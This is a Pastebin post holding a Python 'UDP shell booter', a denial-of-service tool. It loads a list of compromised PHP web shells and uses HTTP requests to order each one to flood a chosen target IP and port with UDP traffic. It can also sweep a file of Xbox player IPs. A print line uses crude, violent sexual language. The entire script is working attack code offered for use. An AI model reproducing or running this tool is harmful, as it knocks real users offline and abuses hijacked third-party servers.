Advertisement
KekSec

Goof IP Analator [UDP Shell booter Python 3 Version]

Jan 6th, 2019
1,390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.75 KB | None | 0 0
  1. import threading, socket, urllib
  2. from time import sleep
  3.  
  4. mbs = 0
  5. packets = 0
  6. threads = 0
  7.  
  8. def Hit(ip, port, time, shell):
  9.     global threads
  10.     global mbs
  11.     global packets
  12.     threads += 1
  13.     shell = shell.replace("\r", "").replace("\n", "")
  14.     try:
  15.         response = urllib.request.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read().decode('utf-8')
  16.         packets += int(response.split("Completed with ")[1].split(" (")[0])
  17.         mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
  18.         mbs += mb
  19.         print(str(mb) + " MBs sprayed by " + shell + " at " + ip)
  20.         f=open("working.txt", "a")
  21.         f.write(shell)
  22.         f.close()
  23.     except Exception as e:
  24.         pass
  25.     threads -= 1
  26.  
  27. def Boot(ip, port, time, shells):
  28.     global threads
  29.     global mbs
  30.     global packets
  31.     threads += 1
  32.     for shell in shells:
  33.         if threads >= 376:
  34.             sleep(0.370)
  35.         thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
  36.         thread.start()
  37.     threads -= 1
  38. fh = open("shells.txt", "r")
  39. shells = fh.read().strip("\r").split("\n")
  40. fh.close()
  41.  
  42. print("[+] Successfully loaded " + str(len(shells)) + " shells.")
  43.  
  44. attackall = "" # input("Attack all ips from xboxips.txt? ")
  45. if attackall.upper().startswith("Y") == False:
  46.     ip = input("Target IP: ")
  47.  
  48. port = input("Target port [53]: ")
  49. if port == "":
  50.     port = "53"
  51.  
  52. time = input("Time [120]: ")
  53. if time == "":
  54.     time = "120"
  55.  
  56. attkthreads = input("Attack threads [4]: ")
  57. if attkthreads == "":
  58.     attkthreads = 4
  59. else:
  60.     attkthreads = int(attkthreads)
  61.  
  62. if attackall.upper().startswith("Y"):
  63.     fh = open("xboxips.txt")
  64.     ips = fh.read().strip("\r").split("\n")
  65.     fh.close()
  66.     print("[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)")
  67.     for ip in ips:
  68.         print("Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads.")
  69.         for thread in range (0, attkthreads):
  70.             Boot(ip, port, time, shells)
  71.         sleep(0.2)
  72. else: #this makes my OCD so bad omg
  73.     print("Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads.")
  74.     for thread in range (0, attkthreads):
  75.         Boot(ip, port, time, shells)
  76.     sleep(1)
  77.  
  78. try:
  79.     sleep(int(time) + 5)
  80. except KeyboardInterrupt:
  81.     pass
  82.  
  83. while threads >= 1:
  84.     try:
  85.         print("Waiting for " + str(threads) + " threads to finish...")
  86.         sleep(10)
  87.     except KeyboardInterrupt:
  88.         break
  89.         pass
  90. print("[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement